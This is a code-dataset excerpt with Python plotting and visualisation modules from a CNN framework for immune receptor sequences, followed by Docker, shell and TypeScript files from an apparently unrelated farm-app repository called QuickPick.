extra_title = ''\n if guided: extra_title = ' with zero grad'\n if label[i]==1:\n ax1.set_title(f'Saliency map for input with implanted motif' + extra_title)\n else:\n ax1.set_title(f'Saliency map for input without implanted motif' + extra_title)\n ax1.set_yticks(np.arange(len(annotation)))\n ax1.set_yticklabels(annotation)\n ax1.xaxis.set_visible(False)\n ax2.set_xticks(np.arange(len(input_seq[i])))\n ax2.set_xticklabels(input_seq[i])\n ax2.yaxis.set_visible(False)\n ax2.set_xlabel('Input sequence')\n ax1.set_ylabel('Amino acid')\n\n p0 = ax1.get_position().get_points().flatten()\n # p1 = ax2.get_position().get_points().flatten()\n\n ax_cbar = fig.add_axes([p0[3]-0.08,p0[1],0.03,p0[2]-0.025])\n plt.colorbar(im1,cax=ax_cbar, orientation='vertical')\n #fig.colorbar(im1,cax=cax)\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n if guided: plot_dir = self.path + 'guided_saliency_map/'\n else: plot_dir = self.path + 'saliency_map/'\n if i == 0:\n make_folder(plot_dir)\n plt.savefig(plot_dir + f'saliency_implanted_{label[i]==1}_{i}')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n def snp_plot(self, input, num_snp, label, annotation, input_seq):\n '''\n Plot changes to the score based on snp.\n :param input: Data to be plotted.\n :param num_sal: Numper of maps.\n :param label: The label for the input.\n :param annotation: Annotation for the plots.\n :param input_seq: The input sequence that was used.\n :return:\n '''\n\n for i in range(num_snp):\n plt.figure()\n fig, ax = plt.subplots(1,1)\n im = ax.imshow(input[i], cmap=plt.cm.winter)\n if label[i]==1:\n plt.title(f'SNP map for input with implanted motif')\n else:\n plt.title(f'SNP map for input without implanted motif')\n ax.set_yticks(np.arange(len(annotation)))\n ax.set_yticklabels(annotation)\n ax.set_xticks(np.arange(len(input_seq[i])))\n ax.set_xticklabels(input_seq[i])\n plt.xlabel('Input seq')\n plt.ylabel('Amino acid')\n fig.colorbar(im)\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n plot_dir = self.path + 'snp_map/'\n if i == 0:\n make_folder(plot_dir)\n plt.savefig(plot_dir + f'SNP_implanted_{label[i]==1}_{i}')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n def visualize_kernel(self, input, layer, print_text):\n '''\n Plot heatmaps of the kernels.\n :param input: Data to be plotted.\n :param layer: Which layer of the model the input belongs to\n :return:\n '''\n\n vmax = torch.max(input)\n vmin = torch.min(input)\n fig = plt.figure(constrained_layout=False,figsize=(16,12))\n if not print_text: fig.suptitle(f'Dense layer weights', size=28)\n else: fig.suptitle(f'Kernels layer {layer}', size=28)\n widths = np.ones(input.shape[1]+1)*5\n widths[-1] = 1\n heights = np.ones(input.shape[0])\n #for i in range()\n spec = gridspec.GridSpec(ncols=input.shape[1]+1, nrows=input.shape[0], figure=fig, width_ratios=widths,\n height_ratios=heights)\n for i in range(input.shape[0]):\n for j in range(input.shape[1]):\n ax = fig.add_subplot(spec[i, j])\n if i == 0:\n ax.xaxis.set_label_position('top')\n ax.set_xticklabels([])\n ax.set_xlabel(f'Filter channel {j+1}', fontsize=16)\n else: ax.xaxis.set_visible(False)\n if j == 0:\n ax.set_ylabel(f'Filter {i+1}', fontsize=16)\n ax.set_yticklabels([])\n else: ax.yaxis.set_visible(False)\n\n if print_text:\n for y in range(input.shape[2]):\n for x in range(input.shape[3]):\n ax.text(x + 0, y + 0, f'{input[i,j,y,x]:.2f}',\n horizontalalignment='center',\n verticalalignment='center', fontsize=16)\n\n im = ax.imshow(input[i,j,:,:], cmap=plt.cm.summer, vmin=vmin, vmax=vmax)\n\n\n ax_cbar = fig.add_axes([0.95, 0.2, 0.02, 0.7])\n cbar = plt.colorbar(im, cax=ax_cbar, orientation='vertical')\n cbar.ax.tick_params(labelsize=16)\n spec.tight_layout(fig, rect=[0, 0, 1, 0.95])\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n plot_dir = self.path + 'kernel_map/'\n if layer == 1:\n make_folder(plot_dir)\n plt.savefig(plot_dir + f'kernels_layer{layer}')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n def visualize_layer(self, input, layer, num):\n '''\n Plot heatmaps of the feature maps.\n :param input: Data to be plotted.\n :param layer: Which layer of the model the input belongs to\n :return:\n '''\n\n vmax = torch.max(input)\n vmin = torch.min(input)\n\n fig = plt.figure(constrained_layout=False, figsize=(16, 12))\n\n fig.suptitle(f'Feature maps for layer {layer}', size=28)\n widths = np.ones(input.shape[1] + 1) * 5\n widths[-1] = 1\n heights = np.ones(input.shape[0])\n spec = gridspec.GridSpec(ncols=input.shape[1] + 1, nrows=input.shape[0], figure=fig, width_ratios=widths,\n height_ratios=heights)\n for i in range(input.shape[0]):\n for j in range(input.shape[1]):\n ax = fig.add_subplot(spec[i, j])\n if i == 0:\n ax.xaxis.set_label_position('top')\n ax.set_xticklabels([])\n ax.set_xlabel(f'Feature map channel {j + 1}', fontsize=16)\n else:\n ax.xaxis.set_visible(False)\n if j == 0:\n ax.set_ylabel(f'Feature map {i + 1}', fontsize=16)\n ax.set_yticklabels([])\n else:\n ax.yaxis.set_visible(False)\n\n im = ax.imshow(input[i, j, :, :], cmap=plt.cm.summer, vmin=vmin, vmax=vmax)\n\n ax_cbar = fig.add_axes([0.95, 0.2, 0.02, 0.7])\n cbar = plt.colorbar(im, cax=ax_cbar, orientation='vertical')\n cbar.ax.tick_params(labelsize=16)\n spec.tight_layout(fig, rect=[0, 0, 1, 0.95])\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n plot_dir = self.path + f'feature_maps/feature_maps{num}/'\n plt.savefig(plot_dir + f'feature_map_layer{layer}')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()\n\n\n\n def seq_heatmap(self, input, annotation, seq, num):\n plt.figure()\n fig, ax = plt.subplots(1, 1)\n ax.imshow(input,cmap=plt.cm.summer)\n plt.title(f'Heatmap of the input')\n ax.set_yticks(np.arange(len(annotation)))\n ax.set_yticklabels(annotation)\n ax.set_xticks(np.arange(len(seq)))\n ax.set_xticklabels(seq)\n plt.xlabel('Input seq')\n plt.ylabel('Amino acid')\n\n # Gets the path of the folder to and saves the figure in the folder if chosen in the specs.\n if self.save_fig:\n plot_dir = self.path + f'feature_maps/'\n if num == 0:\n make_folder(plot_dir)\n\n plot_dir = plot_dir + f'feature_maps{num}/'\n make_folder(plot_dir)\n plt.savefig(plot_dir + f'input_sequence')\n\n # Shows the plot if verbose is true.\n if self.verbose:\n plt.show()\n plt.close()" }, { "alpha_fraction": 0.6555007100105286, "alphanum_fraction": 0.657616376876831, "avg_line_length": 34.88607406616211, "blob_id": "631080c58a7bebfda4358a7922a288ee1d82d288", "content_id": "9d436ce453bb65e5d78b48ec5adba5502e604d7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2836, "license_type": "no_license", "max_line_length": 120, "num_lines": 79, "path": "/code/DirManagement.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import os\nimport yaml\ndef make_path(config,cat, subfolder):\n '''\n Checks if a directory of the same name exists. Creates a directory with the name given in the specifications if none\n exists. Creates adds 1,2,3... behind the name if the directory already exists.\n\n :param config: Dict containing program parameters.\n :param cat: The category of data that needs a folder (plots or model for now)\n :param subfolder: Key to where the name of the subfolder is found.\n :return:\n '''\n\n # Finds the paths in to the subfolder.\n file_path = config[cat][subfolder]\n\n # Checks if path to plots exists and creates a directory if it does not.\n if not os.path.isdir(file_path): os.makedirs(file_path)\n\n # Adds an integer behind the name if the folder already exist.\n else:\n c = 1\n file_path = file_path + str(c)\n while(os.path.isdir(file_path)):\n file_path = file_path[:-len(str(c-1))] + str(c)\n c += 1\n os.makedirs(file_path)\n\n # Stores the path in the config file.\n config[cat][subfolder] = file_path + '/'\n\n\ndef make_root_paths(config):\n '''\n Add the root path to all the paths in the specification file.\n\n :param config: Dict containing program parameters.\n :return:\n '''\n # Get the path to the master folder\n root_path = os.path.dirname(os.path.normpath(os.path.dirname(os.path.abspath(__file__))))\n\n # Creats the new paths\n config['paths']['dataset_path'] = root_path + config['paths']['dataset_path']\n config['plot']['plot_folder_name'] = root_path + '/plots/' + config['plot']['plot_folder_name']\n config['utils']['save_model_name'] = root_path + '/models/' + config['utils']['save_model_name']\n config['pre_trained']['path_saved_model'] = root_path + '/models/' + config['pre_trained']['path_saved_model']\n\n\n\ndef pre_train_config(config):\n '''\n Changes the config file to use settings from the pre trained model. Model, optimizer and loss function types are\n always taken from the trained model. The hyper parameters from the trained model is used if 'use_pre_trained_param'\n is set to True.\n\n :param config: Dict containing program parameters.\n :return:\n '''\n\n # Opens the specification file for the pre trained model and uses them to overwrite the config dict.\n with open(config['pre_trained']['path_saved_model'] + '/ModelSpesification.yaml', \"r\") as file:\n pre_config = yaml.load(file, Loader=yaml.FullLoader)\n config['model_param'] = pre_config['model_param']\n\n if config['pre_trained']['use_pre_trained_param']:\n config['hyper_param'] = pre_config['hyper_param']\n\ndef make_folder(path):\n '''\n Creates a subfolder in the directory.\n :param path: Path to the directory.\n :return:\n '''\n\n # Make the folder.\n os.mkdir(path)\n\n return\n\n" }, { "alpha_fraction": 0.531494140625, "alphanum_fraction": 0.5394287109375, "avg_line_length": 34.15879821777344, "blob_id": "67a5ab4c14fef3e67cca72f5b332fdd7746fd980", "content_id": "b20329643d09d49f89954eff3fab8e8294730549", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8192, "license_type": "no_license", "max_line_length": 137, "num_lines": 233, "path": "/code/Visualisation.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport torch\n\nfrom DatasetLoader import OnehotDatasetSplit\n\nclass Vis():\n '''\n Class that contains methods for visualising data.\n '''\n def __init__(self, config, Plot, train_data, test_data, num):\n '''\n Stores information from the config in the class.\n\n :param config: Dict containing information about how the program should be run.\n :param Plot: An object of the Plot class.\n '''\n self.Plot = Plot\n self.verbose = config['utils']['verbose']\n # self.train_data = train_data\n # self.test_data = test_data\n self.num_to_amino = np.array(['A', 'R', 'N', 'D', 'B', 'C', 'E',\n 'Q', 'Z', 'G', 'H', 'I', 'L',\n 'K', 'M', 'F', 'P', 'S', 'T',\n 'W', 'Y', 'V', '*'])\n\n self.data, self.label = next(iter(test_data))\n self.num = num\n self.data = self.data[:num, :, :, :]\n self.labels = self.label[:num]\n\n\n def saliency_map(self, config, model):\n '''\n Creates saliency maps for the model.\n :param config: Dict containing program parameters.\n :param model: The model that should be visualised.\n :return:\n '''\n\n def zero_neg_grad(gradient):\n '''\n Takes in the gradients and sets the negative ones to zero.\n :param gradient:\n :return:\n '''\n grad_data = gradient.data\n grad_data[grad_data < 0] = 0\n gradient.data = grad_data\n return gradient\n guided = config['guied']\n\n\n # Make the input data require a gradient\n data = self.data.clone().requires_grad_()\n labels = self.labels.clone()\n\n # Set the model in evaluation mode.\n model.eval()\n if guided: runs = 2\n else: runs = 1\n\n for i in range(runs):\n # Run the model forward\n pred = model.forward(data,self.num)\n\n # Takes the values for each class from the prediction. Gathers the values in each column given by the labels.\n pred = pred.gather(1, labels.view(-1, 1)).squeeze()\n\n # Zeroes out negative gradients if true.\n if guided: hook = data.register_hook(zero_neg_grad)\n\n # Run the model backwards for each of the inputs.\n pred.backward(torch.ones(self.num, dtype=torch.float32))\n\n # Get the gradients for the inputs.\n saliency = data.grad.data #abs(data.grad.data)\n\n # Removes the hook.\n if guided: hook.remove()\n\n amino_index = torch.max(data.data, dim=2)\n\n sal_input = []\n for i in range(self.num):\n sal_input.append(data.grad.data[i,0,amino_index[1][i,0,:],np.arange(data.data.shape[3])])\n\n # Zero out the gradietns.\n model.zero_grad()\n\n # Plots the maps\n self.Plot.saliency_map_plot(saliency[:,0,:,:],self.num,labels,self.num_to_amino, guided,self.onehot_to_amino(data),sal_input)\n\n guided = False\n\n def genereate_max_input(self, config, model, target_label=1):\n '''\n Iteratively generates an input to the model that maximizes the prediction of a given class. This is done by\n updating the input bases on the gradients for the score of the given class.\n\n :param config: Dict containing program parameters.\n :param model: The model that should be visualised.\n :param target_label: The class to be maximized\n :return:\n '''\n\n # Set the model in evaluation mode.\n model.eval()\n\n # Generate a random input.\n gen_seq = torch.randn(1, 1, 23, 20).requires_grad_()\n\n # Store the information from the config file.\n lamb = config['lamb']\n iterations = config['iterations']\n fig_each_iter = config['fig_each_iter']\n learning_rate = config['learning_rate']\n\n # Loops for a given number of iterations\n for i in range(iterations):\n\n # Make a prediction based on the input.\n pred = model.forward(gen_seq,1)\n\n # Get the score for the given label.\n score = pred[0][target_label]\n\n # Generate the gradients of the input.\n score.backward()\n\n # Get the gradients of the input.\n gradient = gen_seq.grad.data\n\n # Regulate the gradient\n gradient -= lamb * gen_seq\n\n # Normalize the gradients and update the input.\n gen_seq.data += learning_rate * (gradient / gradient.norm())\n\n # Zero out the gradients.\n model.zero_grad()\n\n # Print and plots information\n if i%fig_each_iter==0:\n if self.verbose:\n print(f'Current input after {i} iterations:')\n print(''.join(self.onehot_to_amino(gen_seq)[0]))\n self.Plot.plot_max_input(gen_seq.data.clone()[0, 0, :, :],i,self.num_to_amino,self.onehot_to_amino(gen_seq)[0])\n\n def SNP(self, config, model):\n '''\n Changes a single amino acid and stores the difference in prediction probability.\n\n :param config: Dict containing program parameters.\n :param model: The model that should be visualised.\n :return:\n '''\n # Make the input data require a gradient.\n seq = self.data.clone()\n labels = self.labels.clone()\n\n # Array to store the difference.\n pred_diff = np.zeros((self.num,seq.data.shape[2],seq.data.shape[2]))\n\n for k in range(seq.data.shape[0]):\n\n # Runs the model forwards.\n pred = model.forward(seq[k:k+1,:,:,:], 1)\n\n # Loops over each position in the input.\n for i in range(seq.data.shape[3]):\n for j in range(seq.data.shape[2]):\n\n # Creates a new column\n snp = torch.zeros(seq.data.shape[2], dtype=torch.int32)\n snp[j] = 1\n\n # Changes one column of the input at the time.\n mod_seq = seq[k:k+1,:,:,:].clone()\n mod_seq.data[:,:,:,i] = snp\n\n # Run the model forward\n snp_pred = model.forward(mod_seq, 1)\n\n # Stores the difference in prediction\n pred_diff[k][j][i] = snp_pred.data[0][1] - pred.data[0][1]\n\n\n self.Plot.snp_plot(pred_diff, self.num, labels, self.num_to_amino, self.onehot_to_amino(seq))\n\n def visualize_kernel(self, config, model):\n num_layer = 1\n for name, param in model.named_parameters():\n if name.split('.')[1] == 'weight':# and name[:4]== 'conv':\n data = param.data.clone()\n if name[:2]== 'fc':\n data = data.reshape((2,1,1,model.dense_input))\n print_text = False\n else: print_text = True\n\n self.Plot.visualize_kernel(data, num_layer,print_text)\n num_layer += 1\n\n def visualize_layer(self, config, model):\n def get_feature_map(name):\n def hook(model, input, output):\n feature_map[name] = output.detach()\n\n return hook\n data = self.data.clone()\n hooks = {}\n for name, module in model.named_modules():\n hooks[name] = module.register_forward_hook(get_feature_map(name))\n\n for i in range(data.shape[0]):\n feature_map = {}\n model.forward(data[i:i+1,:,:,:],1)\n self.Plot.seq_heatmap(data[i,0,:,:],self.num_to_amino,self.onehot_to_amino(data[i:i+1,:,:,:])[0],i)\n for module, map in feature_map.items():\n if module[:4]== 'conv':\n self.Plot.visualize_layer(map.data, int(module[-1]),i)\n\n\n for name, hook in hooks.items():\n hook.remove()\n\n\n def onehot_to_amino(self, input):\n amino_seq = []\n for i in range(input.data.shape[0]):\n amino_seq.append(self.num_to_amino[np.argmax(input.data[i, 0, :, :], axis=0)])\n\n return amino_seq\n" }, { "alpha_fraction": 0.604687511920929, "alphanum_fraction": 0.616406261920929, "avg_line_length": 31, "blob_id": "b4158957fd45a66322f55f9fb6ae73d91cdb619d", "content_id": "e4687719f6c8afabea79081ce6fc29d33744b546", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1280, "license_type": "no_license", "max_line_length": 129, "num_lines": 40, "path": "/code/GenerateRandomSeq.py", "repo_name": "alhusa/CNNFrameworkReceptorData", "src_encoding": "UTF-8", "text": "import numpy as np\nimport csv\nimport pandas as pd\n\n\n\n# Generates random seqeunces and stores them in a VDJdb format.\n\n\n\nnum_to_amino = list(\"ACDEFGHIKLMNPQRSTVWY\")\nnum_to_amino.sort()\n\n\n\nn_samples = 10000\nseq_length = 18\nid = list(np.arange(n_samples) + 1)\n# Array to store data\ndata = np.random.randint(0,len(num_to_amino),(n_samples, seq_length), dtype='int')\naminoacid_seq = []\nfor i in range(n_samples):\n seq = ''\n for j in range(seq_length):\n seq += num_to_amino[data[i][j]]\n\n aminoacid_seq.append(seq)\n\ndf = pd.DataFrame(list(zip(id,aminoacid_seq)),columns=['complex.id','CDR3'])\n\ndf = df.assign(**{'Species': None, 'MHC A': None, 'MHC B': None, 'MHC class': None,\n 'Reference': None, 'Method': None, 'Meta': None, 'CDR3fix': None, 'Score': None,\n 'V': 'no_data', 'Gene': 'TRB', 'J':'no_data', 'Epitope':'no_data', 'Epitope gene':'no_data',\n 'Epitope species':'no_data',})\ndf = df[['complex.id', 'Gene', 'CDR3', 'V', 'J', 'Species', 'MHC A', 'MHC B',\n 'MHC class', 'Epitope', 'Epitope gene', 'Epitope species', 'Reference',\n 'Method', 'Meta', 'CDR3fix', 'Score']]\n\n\ndf.to_csv('/Users/ahusa/Documents/bio_master/immuneml_folder/VDJDataset/onehottest/generated_test_10.tsv', sep='\\t', index=False)\n" } ]
11
darousso/NE2019_FYDP
https://github.com/darousso/NE2019_FYDP
cd4354d6fc311918d517aa02250b52d3a336f091
76385608597045ce41c1a81633e2bdcbdaeb775f
948764ba016136fb87b0d8cd27b906440fc814a9
refs/heads/master
2020-04-29T13:55:22.701609
2019-03-18T01:39:40
2019-03-18T01:39:40
176,181,727
0
0
null
2019-03-18T01:15:49
2019-03-05T14:52:34
2019-03-05T14:52:32
null
[ { "alpha_fraction": 0.7395833134651184, "alphanum_fraction": 0.78125, "avg_line_length": 31, "blob_id": "15cf9d1445073e27f19eac50c420a583e02421e2", "content_id": "63bc694e5b7cf3f9b069b19d16b805aee5a1f93f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 96, "license_type": "permissive", "max_line_length": 41, "num_lines": 3, "path": "/libraries/version/inc/git_version_impl.h", "repo_name": "darousso/NE2019_FYDP", "src_encoding": "UTF-8", "text": "#pragma once\n#define GIT_VERSION_COMMIT_HASH \"66f3aa4\"\n#define GIT_VERSION_DIRTY_STATUS \"dirty\"\n" }, { "alpha_fraction": 0.40909090638160706, "alphanum_fraction": 0.4549955129623413, "avg_line_length": 23.163043975830078, "blob_id": "69672dfa05d19377d994163fe946d7ce5990dec5", "content_id": "ee486b7ab0bdaeb1238f868b78d75130bf40c4b7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2222, "license_type": "permissive", "max_line_length": 84, "num_lines": 92, "path": "/ui/Generate_Test_Data.py", "repo_name": "darousso/NE2019_FYDP", "src_encoding": "UTF-8", "text": "import time\nimport numpy as np\nimport pickle\nimport os\nfrom random import *\nimport matplotlib.pyplot as plt\n%matplotlib inline\n\ndef gauss(x, y,x0,y0,sx,sy):\n #print((-(x-x0)**2/2/sx-(y-y0)**2/2/sy))\n return np.exp(-(x-x0)**2/2/sx-(y-y0)**2/2/sy)\n\nx0=4.5\ny0=4.5\nsx=1\nsy=1\n\nif True: \n #Generate Fake Data:\n n=10;\n frac1=0.25\n frac2=0.7\n frac3=0.1\n w=0;\n \n numsamples=10;\n \n ardata = [0.0] * 20\n linedata = [0.0] * 20*numsamples\n flush = False\n cnt = 0\n xs = [0.0] * 10\n ys = [0.0] * 10\n \n while True:\n \n x0=9*random()\n y0=9*random()\n sx=2*random()\n sy=2*random()\n \n #w+=2*random()-1\n w+=0.1\n \n M=np.ones((n,n))\n \n for i in range(0, n):\n for j in range(0, n):\n M[i][j]=gauss(i,j,x0,y0,sx,sy)+(2*random()-1)*frac1\n \n sumX=np.sum(M, axis=0)\n sumY=np.sum(M, axis=1)\n \n summat=np.ones((2*n))\n \n for i in range(0, n):\n summat[i]=sumX[i]+(2*random()-1)*frac2\n for i in range(0, n):\n summat[i+n]=sumY[i]+(2*random()-1)*frac2\n \n for ii in range(0, 2*n):\n if cnt == 0:\n ardata = [1.0] * 20\n linedata = [0.0] * 20*numsamples\n\n \n ardata[cnt] = summat[cnt]\n \n for i in range(0,numsamples):\n linedata[cnt*numsamples+i]=summat[cnt]+np.sin(i*w)*frac3*summat[cnt]\n \n cnt = (cnt + 1) % 20\n if cnt == 0:\n flush = True\n\n if flush:\n with open('tmp_ardata.pkl', 'wb') as output:\n pickle.dump(ardata, output, pickle.HIGHEST_PROTOCOL)\n os.remove('ardata.pkl')\n os.rename('tmp_ardata.pkl', 'ardata.pkl')\n\n with open('tmp_linedata.pkl', 'wb') as output:\n pickle.dump(linedata, output, pickle.HIGHEST_PROTOCOL)\n os.remove('linedata.pkl')\n os.rename('tmp_linedata.pkl', 'linedata.pkl')\n flush = False\n\n plt.imshow(M) \n print([x0, y0, sx, sy, w])\n \n \n time.sleep(1)" } ]
2
CPSECapstone/QuickPick
https://github.com/CPSECapstone/QuickPick
4f208aabddf7e9dd30f2e92be0aa626036dd0f2f
78c12e6737f9b99441c41fda9ee29a44a23005ac
35d82179be83824fe0a2d771e917ac4544289870
refs/heads/master
2018-06-05T04:53:51.388416
2018-06-04T18:37:23
2018-06-04T18:37:23
107,820,948
3
0
null
2017-10-21T22:39:15
2018-06-07T05:27:54
2018-06-07T20:03:01
Java
[ { "alpha_fraction": 0.7423312664031982, "alphanum_fraction": 0.7423312664031982, "avg_line_length": 22.285715103149414, "blob_id": "2ab2e5e65ac542d1195980238d5379d905083bd9", "content_id": "e1ce85466e0385c5e8ac50f51c259ae9c9ac8009", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 163, "license_type": "no_license", "max_line_length": 44, "num_lines": 7, "path": "/frontEnd/src/js/models/statistics/IBerryLocation.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IGeoLocation} from \"./IGeoLocation\";\n\nexport interface IBerryLocation {\n location: IGeoLocation;\n classification: string,\n fileLocation: string\n}\n" }, { "alpha_fraction": 0.572864294052124, "alphanum_fraction": 0.5854271650314331, "avg_line_length": 17.090909957885742, "blob_id": "e91c63124f3b45e5f26139c6c28b2bcd12bc041f", "content_id": "4aa75b0c08910ebfd23a9cbd7fecfab4bf0f458e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 398, "license_type": "no_license", "max_line_length": 46, "num_lines": 22, "path": "/Dockerfile", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "FROM openjdk:8-jdk-alpine\n\n\nRUN apk update && apk add \\ \n bash \\\n curl \\\n less \\\n groff \\\n jq \\\n python \\\n py-pip \\\n# dos2unix \\\n py2-pip && \\\n pip install --upgrade pip awscli s3cmd\n\nWORKDIR /app\n\nCOPY dockerTarget/quickpick-*.jar /app/app.jar\nCOPY ./prod_run.sh ./prod_run.sh\nRUN dos2unix ./prod_run.sh\nRUN chmod +x prod_run.sh\nCMD ./prod_run.sh\n" }, { "alpha_fraction": 0.761904776096344, "alphanum_fraction": 0.773809552192688, "avg_line_length": 32.599998474121094, "blob_id": "d11256ecb7bf36fcf9b4312d123efcd8708c5960", "content_id": "beff9a7d32e92e10a13035525aa489a0ce03a4e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 168, "license_type": "no_license", "max_line_length": 78, "num_lines": 5, "path": "/prod_run.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\naws s3 cp s3://quickpick-secrets/application.properties application.properties\n\njava -jar ./app.jar -Dspring.config.location=. --spring.profiles.active=prod\n" }, { "alpha_fraction": 0.6881720423698425, "alphanum_fraction": 0.6881720423698425, "avg_line_length": 19.77777862548828, "blob_id": "524b2dc7a708e8bbd3746e760ad2f66e86ba8d85", "content_id": "39f7dac7725fa60bd2d94e63c4cf1aea5f7a9fe4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 186, "license_type": "no_license", "max_line_length": 45, "num_lines": 9, "path": "/frontEnd/src/js/infrastructure/Navigator.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export interface INavigator {\n navigateTo(url:string): void;\n}\n\nexport class Navigator implements INavigator{\n navigateTo(url: string) {\n window.location.href = url;\n }\n}" }, { "alpha_fraction": 0.6497696042060852, "alphanum_fraction": 0.6497696042060852, "avg_line_length": 18.727272033691406, "blob_id": "a90ccee1a6e9c756ca0ae4d371aad8ef43f333ad", "content_id": "dad1b39a270cf8865cbadfae202004ca4260627d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 217, "license_type": "no_license", "max_line_length": 37, "num_lines": 11, "path": "/frontEnd/src/js/models/devices/IDevice.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IFarm} from \"../farms/IFarm\";\n\nexport interface IDevice {\n id: number,\n thingName: string,\n farm: IFarm,\n userConnected: any,\n lastConnection: Date,\n markedAvailable: Date,\n status: any\n}\n" }, { "alpha_fraction": 0.6811594367027283, "alphanum_fraction": 0.6898550987243652, "avg_line_length": 48.42856979370117, "blob_id": "add3fc29f3f03c5a33ed16654a25dda8ed4425e6", "content_id": "3ea9963e3516b10b11afaeecf6fb69cb23deab17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 345, "license_type": "no_license", "max_line_length": 73, "num_lines": 7, "path": "/frontEnd/src/js/models/users/PasswordValidator.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "export function isValid(password):boolean {\n const hasCorrectLength = password.length > 5 && password.length < 99;\n const hasNumber = password.match(/\\d+/g) != null;\n const hasUpperCase = /[A-Z]/.test(password);\n const hasLowerCase = /[a-z]/.test(password);\n return hasCorrectLength && hasNumber && hasUpperCase && hasLowerCase;\n}" }, { "alpha_fraction": 0.48362892866134644, "alphanum_fraction": 0.484311044216156, "avg_line_length": 28.9251708984375, "blob_id": "42060ca53fe9e5864988d1c6d4eda8a4fabbf136", "content_id": "5e3aca67bee3b8c13c59df2d9e435db2a51fa28e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 4398, "license_type": "no_license", "max_line_length": 122, "num_lines": 147, "path": "/frontEnd/src/js/models/ServerController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IDataStorage} from \"./browser-data/IDataStorage\";\n\nvar request = require ('request-promise');\n\nexport interface IServerController {\n getRequest(url: string): any;\n getFile(url:string, fileName: string);\n postRequest(url: string, jsonBody: any):string;\n putRequest(url: string, jsonBody: any):any;\n uploadZip(url:string, file: any);\n}\n\nexport class ServerController implements IServerController {\n\n private cookies:IDataStorage;\n private absoluteUrl:string = `${location.protocol}//${location.hostname}${location.port ? `:${location.port}` : ''}/`;\n\n constructor(cookies:IDataStorage) {\n this.cookies = cookies;\n }\n\n getRequest(url: string) {\n\n const options = {\n method: 'GET',\n uri: `${this.absoluteUrl}${url}`,\n ...this.defaultOptions\n };\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body.toJSON().body;\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n getFile(url: string, fileName: string) {\n const options = {\n method: 'GET',\n uri: `${this.absoluteUrl}${url}`,\n ...this.defaultOptions\n };\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n let file = new Blob([body.body], {type: \"text/csv\"});\n if (window.navigator.msSaveOrOpenBlob) // IE10+\n window.navigator.msSaveOrOpenBlob(file, fileName);\n else { // Others\n let a = document.createElement(\"a\"),\n url = URL.createObjectURL(file);\n a.href = url;\n a.download = fileName;\n document.body.appendChild(a);\n a.click();\n setTimeout(function() {\n document.body.removeChild(a);\n window.URL.revokeObjectURL(url);\n }, 0);\n }\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n postRequest(url:string, jsonBody: any):string {\n const options = {\n method: 'POST',\n uri: `${this.absoluteUrl}${url}`,\n body: jsonBody,\n ...this.defaultOptions\n };\n\n\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body.toJSON().body;\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n\n putRequest(url:string, jsonBody: any):any {\n const options = {\n method: 'PUT',\n uri: `${this.absoluteUrl}${url}`,\n body: jsonBody,\n ...this.defaultOptions\n };\n\n\n return request(this.optionsWithHeader(options))\n .then(function (body) {\n return body.toJSON().body;\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n\n public uploadZip(url:string, file: any) {\n const data = new FormData();\n data.append('file', file);\n\n const bearer = this.cookies.get('QuickPick');\n const options = {\n method: 'POST',\n body: data,\n headers : {\n 'Authorization' : bearer\n }\n };\n\n return fetch(`${this.absoluteUrl}${url}`, options)\n .then(function(response) {\n if (!response.ok) {\n throw Error(response.statusText);\n }\n return response;\n })\n .then(function(response) {\n console.log(\"Uploaded\");\n })\n .catch(function (err) {\n throw new Error(err.statusCode)\n });\n }\n\n private optionsWithHeader(options) {\n const bearer = this.cookies.get('QuickPick');\n return (bearer != null\n ? {\n ...options,\n headers : {\n 'Authorization' : bearer\n }\n }\n : options);\n }\n\n get defaultOptions() 